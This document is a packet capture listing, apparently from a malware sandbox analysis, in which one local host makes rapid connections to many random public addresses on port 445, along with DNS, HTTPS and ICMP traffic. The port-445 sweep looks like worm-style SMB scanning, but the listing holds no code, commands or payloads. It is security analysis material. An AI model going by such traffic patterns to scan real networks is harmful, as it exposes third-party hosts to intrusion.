Jul 21, 2022 04:38:23.743628025 CEST	65083	445	192.168.2.6	155.138.61.5
Jul 21, 2022 04:38:23.774830103 CEST	65085	445	192.168.2.6	1.168.210.146
Jul 21, 2022 04:38:23.775098085 CEST	65087	445	192.168.2.6	164.159.134.231
Jul 21, 2022 04:38:23.775376081 CEST	65095	445	192.168.2.6	87.6.216.169
Jul 21, 2022 04:38:23.775453091 CEST	65096	445	192.168.2.6	86.1.250.245
Jul 21, 2022 04:38:23.775564909 CEST	65098	445	192.168.2.6	115.192.31.47
Jul 21, 2022 04:38:23.775712967 CEST	65102	445	192.168.2.6	218.175.205.214
Jul 21, 2022 04:38:23.775754929 CEST	65101	445	192.168.2.6	21.199.243.22
Jul 21, 2022 04:38:23.775914907 CEST	65103	445	192.168.2.6	55.9.12.82
Jul 21, 2022 04:38:23.776001930 CEST	65104	445	192.168.2.6	31.57.64.209
Jul 21, 2022 04:38:23.776428938 CEST	65113	445	192.168.2.6	15.25.30.85
Jul 21, 2022 04:38:23.776827097 CEST	65124	445	192.168.2.6	58.143.0.251
Jul 21, 2022 04:38:23.776933908 CEST	65125	445	192.168.2.6	187.185.67.168
Jul 21, 2022 04:38:23.777206898 CEST	65126	445	192.168.2.6	146.242.15.242
Jul 21, 2022 04:38:23.777287960 CEST	65132	445	192.168.2.6	15.98.70.251
Jul 21, 2022 04:38:23.777350903 CEST	65135	445	192.168.2.6	100.70.183.142
Jul 21, 2022 04:38:23.777451038 CEST	65137	445	192.168.2.6	9.120.159.145
Jul 21, 2022 04:38:23.777518988 CEST	65138	445	192.168.2.6	78.237.208.28
Jul 21, 2022 04:38:23.777679920 CEST	65142	445	192.168.2.6	133.136.66.109
Jul 21, 2022 04:38:23.778045893 CEST	65148	445	192.168.2.6	207.24.11.102
Jul 21, 2022 04:38:23.778403997 CEST	65156	445	192.168.2.6	181.128.129.14
Jul 21, 2022 04:38:23.778744936 CEST	65165	445	192.168.2.6	91.17.190.103
Jul 21, 2022 04:38:23.778862953 CEST	65169	445	192.168.2.6	29.202.229.123
Jul 21, 2022 04:38:23.779073000 CEST	65173	445	192.168.2.6	91.220.84.58
Jul 21, 2022 04:38:23.779313087 CEST	65178	445	192.168.2.6	181.137.105.180
Jul 21, 2022 04:38:23.779833078 CEST	65191	445	192.168.2.6	130.32.22.221
Jul 21, 2022 04:38:23.780078888 CEST	65192	445	192.168.2.6	101.197.147.196
Jul 21, 2022 04:38:24.169903040 CEST	65197	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.169954062 CEST	443	65197	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.170124054 CEST	65198	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.170156002 CEST	65197	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.170170069 CEST	443	65198	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.170775890 CEST	65198	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.171161890 CEST	65198	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.171197891 CEST	65197	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.171207905 CEST	443	65198	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.171212912 CEST	443	65197	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.315512896 CEST	443	65198	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.315637112 CEST	65198	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.316149950 CEST	443	65197	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.316262007 CEST	65197	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.317476988 CEST	443	65197	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.317553997 CEST	65197	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.318710089 CEST	443	65198	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.318830013 CEST	65198	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.346888065 CEST	65198	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.346936941 CEST	443	65198	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.347312927 CEST	65197	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.347336054 CEST	443	65197	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.347681999 CEST	443	65198	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.347901106 CEST	443	65197	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.349211931 CEST	65197	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.349266052 CEST	65197	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.349359989 CEST	443	65197	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.349368095 CEST	65198	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.349426031 CEST	65198	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.349684000 CEST	443	65198	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.446888924 CEST	65203	445	192.168.2.6	190.98.231.149
Jul 21, 2022 04:38:24.509248972 CEST	65204	445	192.168.2.6	189.172.146.46
Jul 21, 2022 04:38:24.509512901 CEST	65205	445	192.168.2.6	207.180.242.161
Jul 21, 2022 04:38:24.538522005 CEST	443	65198	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.538564920 CEST	443	65198	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.538630962 CEST	443	65198	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.538671970 CEST	65198	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.538686991 CEST	443	65198	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.538734913 CEST	443	65198	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.538786888 CEST	65198	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.539053917 CEST	65198	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.539071083 CEST	443	65198	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.539077997 CEST	65198	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.539083004 CEST	443	65198	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.545300007 CEST	443	65197	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.545331001 CEST	443	65197	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.545413971 CEST	443	65197	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.545442104 CEST	443	65197	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.545475960 CEST	65197	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.545506954 CEST	65197	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.546864033 CEST	65197	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.546890974 CEST	443	65197	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.546926022 CEST	65197	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.546948910 CEST	443	65197	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.822093010 CEST	65213	445	192.168.2.6	155.138.61.6
Jul 21, 2022 04:38:24.884681940 CEST	65217	445	192.168.2.6	190.227.23.192
Jul 21, 2022 04:38:24.884823084 CEST	65219	445	192.168.2.6	216.183.120.169
Jul 21, 2022 04:38:24.884968996 CEST	65220	445	192.168.2.6	118.109.229.233
Jul 21, 2022 04:38:24.885056019 CEST	65221	445	192.168.2.6	155.46.92.182
Jul 21, 2022 04:38:24.885303020 CEST	65225	445	192.168.2.6	154.115.170.123
Jul 21, 2022 04:38:24.885562897 CEST	65228	445	192.168.2.6	22.1.60.70
Jul 21, 2022 04:38:24.885943890 CEST	65234	445	192.168.2.6	194.183.191.159
Jul 21, 2022 04:38:24.886280060 CEST	65241	445	192.168.2.6	82.145.128.91
Jul 21, 2022 04:38:24.886914015 CEST	65251	445	192.168.2.6	190.206.64.171
Jul 21, 2022 04:38:24.887116909 CEST	65254	445	192.168.2.6	202.78.189.105
Jul 21, 2022 04:38:24.887330055 CEST	65257	445	192.168.2.6	110.221.150.227
Jul 21, 2022 04:38:24.887681007 CEST	65264	445	192.168.2.6	143.224.208.22
Jul 21, 2022 04:38:24.888386011 CEST	65276	445	192.168.2.6	15.39.191.110
Jul 21, 2022 04:38:24.888453960 CEST	65277	445	192.168.2.6	185.6.113.96
Jul 21, 2022 04:38:24.888770103 CEST	65282	445	192.168.2.6	141.236.120.165
Jul 21, 2022 04:38:24.888983011 CEST	65286	445	192.168.2.6	41.254.105.17
Jul 21, 2022 04:38:24.889009953 CEST	65285	445	192.168.2.6	187.7.81.38
Jul 21, 2022 04:38:24.889111042 CEST	65287	445	192.168.2.6	201.138.152.207
Jul 21, 2022 04:38:24.889209986 CEST	65289	445	192.168.2.6	146.195.79.119
Jul 21, 2022 04:38:24.889396906 CEST	65292	445	192.168.2.6	95.31.176.187
Jul 21, 2022 04:38:24.889555931 CEST	65293	445	192.168.2.6	2.27.128.153
Jul 21, 2022 04:38:24.889588118 CEST	65295	445	192.168.2.6	138.213.69.116
Jul 21, 2022 04:38:24.890068054 CEST	65303	445	192.168.2.6	161.129.140.211
Jul 21, 2022 04:38:24.890748978 CEST	65315	445	192.168.2.6	102.184.141.45
Jul 21, 2022 04:38:24.890837908 CEST	65316	445	192.168.2.6	8.20.174.93
Jul 21, 2022 04:38:24.890903950 CEST	65317	445	192.168.2.6	91.253.214.49
Jul 21, 2022 04:38:24.933739901 CEST	65323	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.933790922 CEST	443	65323	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:24.934309959 CEST	445	65277	185.6.113.96	192.168.2.6
Jul 21, 2022 04:38:24.934406042 CEST	65323	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.934606075 CEST	65323	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:24.934621096 CEST	443	65323	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:25.080686092 CEST	443	65323	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:25.081612110 CEST	65323	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:25.081628084 CEST	443	65323	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:25.083180904 CEST	65323	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:25.083194017 CEST	443	65323	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:25.083463907 CEST	65323	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:25.083477974 CEST	443	65323	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:25.279486895 CEST	443	65323	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:25.279510975 CEST	443	65323	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:25.279535055 CEST	443	65323	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:25.279592037 CEST	443	65323	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:25.279731035 CEST	65323	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:25.279767036 CEST	65323	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:25.280117035 CEST	65323	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:25.280141115 CEST	443	65323	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:25.280164003 CEST	65323	443	192.168.2.6	20.190.159.68
Jul 21, 2022 04:38:25.280173063 CEST	443	65323	20.190.159.68	192.168.2.6
Jul 21, 2022 04:38:25.446613073 CEST	65277	445	192.168.2.6	185.6.113.96
Jul 21, 2022 04:38:25.493274927 CEST	445	65277	185.6.113.96	192.168.2.6
Jul 21, 2022 04:38:25.509464025 CEST	65332	445	192.168.2.6	190.98.231.150
Jul 21, 2022 04:38:25.588016033 CEST	65335	445	192.168.2.6	189.172.146.47
Jul 21, 2022 04:38:25.588063002 CEST	65334	445	192.168.2.6	207.180.242.162
Jul 21, 2022 04:38:25.612010002 CEST	445	65334	207.180.242.162	192.168.2.6
Jul 21, 2022 04:38:25.903490067 CEST	65339	445	192.168.2.6	155.138.61.7
Jul 21, 2022 04:38:25.993458033 CEST	64565	445	192.168.2.6	77.129.24.4
Jul 21, 2022 04:38:26.009449959 CEST	65344	445	192.168.2.6	115.29.32.193
Jul 21, 2022 04:38:26.010391951 CEST	65359	445	192.168.2.6	125.134.76.25
Jul 21, 2022 04:38:26.010468960 CEST	65360	445	192.168.2.6	122.101.224.194
Jul 21, 2022 04:38:26.010667086 CEST	65365	445	192.168.2.6	71.208.198.186
Jul 21, 2022 04:38:26.010828018 CEST	65368	445	192.168.2.6	31.90.212.226
Jul 21, 2022 04:38:26.010863066 CEST	65369	445	192.168.2.6	77.196.124.223
Jul 21, 2022 04:38:26.010942936 CEST	65370	445	192.168.2.6	189.202.25.31
Jul 21, 2022 04:38:26.011055946 CEST	65372	445	192.168.2.6	7.78.55.153
Jul 21, 2022 04:38:26.011171103 CEST	65375	445	192.168.2.6	162.203.229.19
Jul 21, 2022 04:38:26.011305094 CEST	65377	445	192.168.2.6	24.38.119.4
Jul 21, 2022 04:38:26.011589050 CEST	65378	445	192.168.2.6	149.87.7.165
Jul 21, 2022 04:38:26.011672020 CEST	65386	445	192.168.2.6	66.253.74.70
Jul 21, 2022 04:38:26.012463093 CEST	65398	445	192.168.2.6	100.64.222.63
Jul 21, 2022 04:38:26.012490988 CEST	65399	445	192.168.2.6	208.233.59.27
Jul 21, 2022 04:38:26.012676001 CEST	65400	445	192.168.2.6	110.180.17.70
Jul 21, 2022 04:38:26.013161898 CEST	65407	445	192.168.2.6	70.142.216.8
Jul 21, 2022 04:38:26.013181925 CEST	65408	445	192.168.2.6	149.176.133.113
Jul 21, 2022 04:38:26.013828039 CEST	65415	445	192.168.2.6	162.168.141.252
Jul 21, 2022 04:38:26.014014959 CEST	65418	445	192.168.2.6	15.152.114.107
Jul 21, 2022 04:38:26.014064074 CEST	65410	445	192.168.2.6	108.17.153.55
Jul 21, 2022 04:38:26.014468908 CEST	65424	445	192.168.2.6	84.59.125.20
Jul 21, 2022 04:38:26.015042067 CEST	65430	445	192.168.2.6	183.250.39.98
Jul 21, 2022 04:38:26.016109943 CEST	65440	445	192.168.2.6	192.161.12.86
Jul 21, 2022 04:38:26.016274929 CEST	65443	445	192.168.2.6	170.193.84.131
Jul 21, 2022 04:38:26.016411066 CEST	65445	445	192.168.2.6	14.102.132.103
Jul 21, 2022 04:38:26.016684055 CEST	65449	445	192.168.2.6	75.251.1.161
Jul 21, 2022 04:38:26.118520021 CEST	65334	445	192.168.2.6	207.180.242.162
Jul 21, 2022 04:38:26.139168978 CEST	445	65334	207.180.242.162	192.168.2.6
Jul 21, 2022 04:38:26.154120922 CEST	445	65365	71.208.198.186	192.168.2.6
Jul 21, 2022 04:38:26.588232994 CEST	65459	445	192.168.2.6	190.98.231.151
Jul 21, 2022 04:38:26.650398016 CEST	65463	445	192.168.2.6	207.180.242.163
Jul 21, 2022 04:38:26.650481939 CEST	65462	445	192.168.2.6	189.172.146.48
Jul 21, 2022 04:38:26.665400982 CEST	65365	445	192.168.2.6	71.208.198.186
Jul 21, 2022 04:38:26.673463106 CEST	445	65463	207.180.242.163	192.168.2.6
Jul 21, 2022 04:38:26.809075117 CEST	445	65365	71.208.198.186	192.168.2.6
Jul 21, 2022 04:38:26.853111029 CEST	64701	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:26.978287935 CEST	65467	445	192.168.2.6	155.138.61.8
Jul 21, 2022 04:38:27.134900093 CEST	65480	445	192.168.2.6	14.52.15.71
Jul 21, 2022 04:38:27.134995937 CEST	65481	445	192.168.2.6	99.253.181.146
Jul 21, 2022 04:38:27.135355949 CEST	65489	445	192.168.2.6	15.106.114.49
Jul 21, 2022 04:38:27.135360003 CEST	65471	445	192.168.2.6	138.216.107.24
Jul 21, 2022 04:38:27.135415077 CEST	65482	445	192.168.2.6	27.204.236.33
Jul 21, 2022 04:38:27.135618925 CEST	65492	445	192.168.2.6	93.62.66.32
Jul 21, 2022 04:38:27.135637045 CEST	65491	445	192.168.2.6	209.208.73.209
Jul 21, 2022 04:38:27.135921001 CEST	65498	445	192.168.2.6	73.120.100.230
Jul 21, 2022 04:38:27.136028051 CEST	65500	445	192.168.2.6	124.93.58.72
Jul 21, 2022 04:38:27.136332035 CEST	65506	445	192.168.2.6	110.246.106.90
Jul 21, 2022 04:38:27.136674881 CEST	65512	445	192.168.2.6	65.207.51.208
Jul 21, 2022 04:38:27.137284040 CEST	65523	445	192.168.2.6	35.222.142.239
Jul 21, 2022 04:38:27.137425900 CEST	65526	445	192.168.2.6	33.240.135.47
Jul 21, 2022 04:38:27.137548923 CEST	65525	445	192.168.2.6	99.112.251.214
Jul 21, 2022 04:38:27.137679100 CEST	65531	445	192.168.2.6	139.201.98.224
Jul 21, 2022 04:38:27.138505936 CEST	49163	445	192.168.2.6	114.47.145.187
Jul 21, 2022 04:38:27.138674974 CEST	49166	445	192.168.2.6	82.11.230.196
Jul 21, 2022 04:38:27.138823032 CEST	49169	445	192.168.2.6	134.192.131.203
Jul 21, 2022 04:38:27.139029026 CEST	49173	445	192.168.2.6	223.4.10.110
Jul 21, 2022 04:38:27.139069080 CEST	49174	445	192.168.2.6	148.52.106.31
Jul 21, 2022 04:38:27.139184952 CEST	49175	445	192.168.2.6	91.209.170.212
Jul 21, 2022 04:38:27.139307976 CEST	49177	445	192.168.2.6	211.185.43.154
Jul 21, 2022 04:38:27.139444113 CEST	49180	445	192.168.2.6	216.226.25.14
Jul 21, 2022 04:38:27.139571905 CEST	49182	445	192.168.2.6	105.54.77.38
Jul 21, 2022 04:38:27.139975071 CEST	49183	445	192.168.2.6	39.58.233.4
Jul 21, 2022 04:38:27.140355110 CEST	49190	445	192.168.2.6	57.138.116.212
Jul 21, 2022 04:38:27.181072950 CEST	65463	445	192.168.2.6	207.180.242.163
Jul 21, 2022 04:38:27.204754114 CEST	445	65463	207.180.242.163	192.168.2.6
Jul 21, 2022 04:38:27.668210030 CEST	49201	445	192.168.2.6	190.98.231.152
Jul 21, 2022 04:38:27.731023073 CEST	49204	445	192.168.2.6	207.180.242.164
Jul 21, 2022 04:38:27.731446028 CEST	49205	445	192.168.2.6	189.172.146.49
Jul 21, 2022 04:38:28.072962999 CEST	49210	445	192.168.2.6	155.138.61.9
Jul 21, 2022 04:38:28.118752003 CEST	64564	445	192.168.2.6	77.129.24.4
Jul 21, 2022 04:38:28.259733915 CEST	49215	445	192.168.2.6	205.244.238.245
Jul 21, 2022 04:38:28.260525942 CEST	49222	445	192.168.2.6	40.59.179.25
Jul 21, 2022 04:38:28.260731936 CEST	49225	445	192.168.2.6	69.236.110.184
Jul 21, 2022 04:38:28.260787964 CEST	49224	445	192.168.2.6	66.75.241.250
Jul 21, 2022 04:38:28.261116982 CEST	49230	445	192.168.2.6	67.79.212.68
Jul 21, 2022 04:38:28.262999058 CEST	49249	445	192.168.2.6	60.85.44.79
Jul 21, 2022 04:38:28.263221025 CEST	49246	445	192.168.2.6	153.254.118.92
Jul 21, 2022 04:38:28.263501883 CEST	49253	445	192.168.2.6	173.224.187.225
Jul 21, 2022 04:38:28.263607979 CEST	49255	445	192.168.2.6	157.226.124.171
Jul 21, 2022 04:38:28.263809919 CEST	49256	445	192.168.2.6	223.43.6.98
Jul 21, 2022 04:38:28.263824940 CEST	49257	445	192.168.2.6	34.19.92.230
Jul 21, 2022 04:38:28.264066935 CEST	49260	445	192.168.2.6	183.99.202.34
Jul 21, 2022 04:38:28.264235973 CEST	49262	445	192.168.2.6	36.118.77.129
Jul 21, 2022 04:38:28.264516115 CEST	49264	445	192.168.2.6	70.176.190.179
Jul 21, 2022 04:38:28.264672041 CEST	49267	445	192.168.2.6	39.130.100.33
Jul 21, 2022 04:38:28.264986038 CEST	49273	445	192.168.2.6	101.243.192.167
Jul 21, 2022 04:38:28.265779972 CEST	49282	445	192.168.2.6	168.90.89.204
Jul 21, 2022 04:38:28.266179085 CEST	49288	445	192.168.2.6	203.132.171.38
Jul 21, 2022 04:38:28.266266108 CEST	49289	445	192.168.2.6	43.224.10.225
Jul 21, 2022 04:38:28.266428947 CEST	49290	445	192.168.2.6	105.61.114.12
Jul 21, 2022 04:38:28.266578913 CEST	49293	445	192.168.2.6	153.187.21.235
Jul 21, 2022 04:38:28.267098904 CEST	49300	445	192.168.2.6	116.25.29.34
Jul 21, 2022 04:38:28.267237902 CEST	49302	445	192.168.2.6	194.53.158.252
Jul 21, 2022 04:38:28.267376900 CEST	49304	445	192.168.2.6	104.50.176.109
Jul 21, 2022 04:38:28.267914057 CEST	49312	445	192.168.2.6	182.10.225.16
Jul 21, 2022 04:38:28.268182993 CEST	49316	445	192.168.2.6	44.92.27.65

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 21, 2022 04:33:52.163038969 CEST	51971	53	192.168.2.6	8.8.8.8
Jul 21, 2022 04:33:52.182034969 CEST	53	51971	8.8.8.8	192.168.2.6
Jul 21, 2022 04:33:54.084861994 CEST	56591	53	192.168.2.6	8.8.8.8
Jul 21, 2022 04:33:54.104187965 CEST	53	56591	8.8.8.8	192.168.2.6
Jul 21, 2022 04:33:55.396179914 CEST	60350	53	192.168.2.6	8.8.8.8
Jul 21, 2022 04:33:55.416625023 CEST	53	60350	8.8.8.8	192.168.2.6
Jul 21, 2022 04:34:06.393724918 CEST	138	138	192.168.2.6	192.168.2.255
Jul 21, 2022 04:38:03.859400034 CEST	138	138	192.168.2.6	192.168.2.255

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jul 21, 2022 04:34:12.126126051 CEST	149.11.89.129	192.168.2.6	596a	(Net unreachable)	Destination Unreachable
Jul 21, 2022 04:34:14.634428978 CEST	87.122.58.135	192.168.2.6	f6b4	(Unknown)	Destination Unreachable
Jul 21, 2022 04:34:18.238636971 CEST	79.226.65.204	192.168.2.6	e53a	(Unknown)	Destination Unreachable
Jul 21, 2022 04:34:20.381464005 CEST	83.145.10.222	192.168.2.6	cfc6	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:34:22.707751036 CEST	149.11.89.129	192.168.2.6	f333	(Net unreachable)	Destination Unreachable
Jul 21, 2022 04:34:24.043535948 CEST	83.169.167.254	192.168.2.6	2cf8	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:34:25.998101950 CEST	94.156.205.199	192.168.2.6	2c4a	(Unknown)	Destination Unreachable
Jul 21, 2022 04:34:32.950798035 CEST	77.174.16.244	192.168.2.6	90bd	(Unknown)	Destination Unreachable
Jul 21, 2022 04:34:44.421380043 CEST	149.14.213.90	192.168.2.6	5b03	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:34:44.522906065 CEST	167.94.193.34	192.168.2.6	286c	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:34:47.867027044 CEST	49.96.246.15	192.168.2.6	e741	(Unknown)	Destination Unreachable
Jul 21, 2022 04:34:49.724492073 CEST	210.213.128.145	192.168.2.6	8974	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:34:49.875216007 CEST	37.61.190.248	192.168.2.6	be25	(Unknown)	Destination Unreachable
Jul 21, 2022 04:34:52.561217070 CEST	5.56.18.166	192.168.2.6	854e	(Unknown)	Destination Unreachable
Jul 21, 2022 04:35:01.186026096 CEST	103.151.155.53	192.168.2.6	c294	(Unknown)	Destination Unreachable
Jul 21, 2022 04:35:02.017013073 CEST	66.151.129.154	192.168.2.6	8973	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:35:02.826303005 CEST	177.149.155.47	192.168.2.6	c99	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:35:07.518090010 CEST	84.119.246.163	192.168.2.6	f8a	(Unknown)	Destination Unreachable
Jul 21, 2022 04:35:10.875281096 CEST	10.255.0.22	192.168.2.6	2e04	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:35:14.558022976 CEST	80.250.1.122	192.168.2.6	22c3	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:35:16.398228884 CEST	64.59.80.51	192.168.2.6	af59	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:35:16.929897070 CEST	217.74.215.59	192.168.2.6	f6c4	(Net unreachable)	Destination Unreachable
Jul 21, 2022 04:35:17.085720062 CEST	69.164.59.117	192.168.2.6	40eb	(Port unreachable)	Destination Unreachable
Jul 21, 2022 04:35:19.320327044 CEST	10.210.9.62	192.168.2.6	e59c	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:35:19.892622948 CEST	192.168.250.74	192.168.2.6	1a86	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:35:20.313402891 CEST	92.196.203.16	192.168.2.6	483e	(Unknown)	Destination Unreachable
Jul 21, 2022 04:35:22.695528984 CEST	50.220.200.185	192.168.2.6	68e8	(Unknown)	Destination Unreachable
Jul 21, 2022 04:35:23.690321922 CEST	91.96.236.41	192.168.2.6	c6bf	(Unknown)	Destination Unreachable
Jul 21, 2022 04:35:24.717427015 CEST	210.16.85.14	192.168.2.6	e916	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:35:28.268435955 CEST	85.212.66.228	192.168.2.6	9d52	(Unknown)	Destination Unreachable
Jul 21, 2022 04:35:28.450176954 CEST	203.144.161.185	192.168.2.6	6ab0	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:35:29.625629902 CEST	201.117.239.110	192.168.2.6	6c74	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:35:30.635759115 CEST	212.156.56.2	192.168.2.6	4f5e	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:35:36.523498058 CEST	150.99.188.154	192.168.2.6	383e	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:35:38.608865976 CEST	185.244.48.161	192.168.2.6	aa60	(Unknown)	Destination Unreachable
Jul 21, 2022 04:35:39.537837029 CEST	207.180.242.23	192.168.2.6	8197	(Unknown)	Destination Unreachable
Jul 21, 2022 04:35:42.042695999 CEST	173.219.197.203	192.168.2.6	1116	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:35:42.100661993 CEST	176.236.190.126	192.168.2.6	6780	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:35:42.810820103 CEST	47.197.65.139	192.168.2.6	3118	(Unknown)	Destination Unreachable
Jul 21, 2022 04:35:45.469307899 CEST	94.199.55.6	192.168.2.6	c901	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:35:46.546240091 CEST	199.47.208.182	192.168.2.6	d38d	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:35:47.471837997 CEST	79.246.123.95	192.168.2.6	8ed3	(Unknown)	Destination Unreachable
Jul 21, 2022 04:35:49.021004915 CEST	88.241.166.86	192.168.2.6	70fa	(Port unreachable)	Destination Unreachable
Jul 21, 2022 04:35:51.921721935 CEST	185.78.40.14	192.168.2.6	9b2b	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:35:53.089202881 CEST	212.174.242.14	192.168.2.6	a0e1	(Net unreachable)	Destination Unreachable
Jul 21, 2022 04:35:53.391540051 CEST	213.200.163.224	192.168.2.6	a37e	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:35:55.333458900 CEST	145.145.4.151	192.168.2.6	b97b	(Net unreachable)	Destination Unreachable
Jul 21, 2022 04:35:57.628990889 CEST	93.131.15.145	192.168.2.6	72df	(Unknown)	Destination Unreachable
Jul 21, 2022 04:35:57.653816938 CEST	194.210.4.158	192.168.2.6	8560	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:35:57.699568033 CEST	198.32.136.2	192.168.2.6	f17b	(Unknown)	Destination Unreachable
Jul 21, 2022 04:35:58.738042116 CEST	84.159.236.208	192.168.2.6	f03b	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:01.307765007 CEST	207.180.242.40	192.168.2.6	81a8	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:02.320578098 CEST	62.115.33.119	192.168.2.6	819e	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:36:02.935345888 CEST	80.156.5.99	192.168.2.6	85ca	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:04.440274000 CEST	203.116.7.190	192.168.2.6	a903	(Net unreachable)	Destination Unreachable
Jul 21, 2022 04:36:05.245887995 CEST	37.74.117.22	192.168.2.6	5a33	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:36:05.650042057 CEST	10.192.52.227	192.168.2.6	bac1	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:36:07.566783905 CEST	62.115.33.119	192.168.2.6	81a4	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:36:09.468668938 CEST	107.161.103.36	192.168.2.6	ed94	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:12.830121994 CEST	204.148.113.150	192.168.2.6	1b5	(Time to live exceeded in transit)	Time Exceeded
Jul 21, 2022 04:36:15.717509985 CEST	95.217.120.57	192.168.2.6	5372	(Host unreachable)	Destination Unreachable
Jul 21, 2022 04:36:16.808805943 CEST	207.180.242.53	192.168.2.6	81b5	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:17.873758078 CEST	207.180.242.54	192.168.2.6	81b6	(Unknown)	Destination Unreachable
Jul 21, 2022 04:36:18.895435095 CEST	62.115.171.181	192.168.2.6	81a8	(Host unreachable)	Destination Unreachable
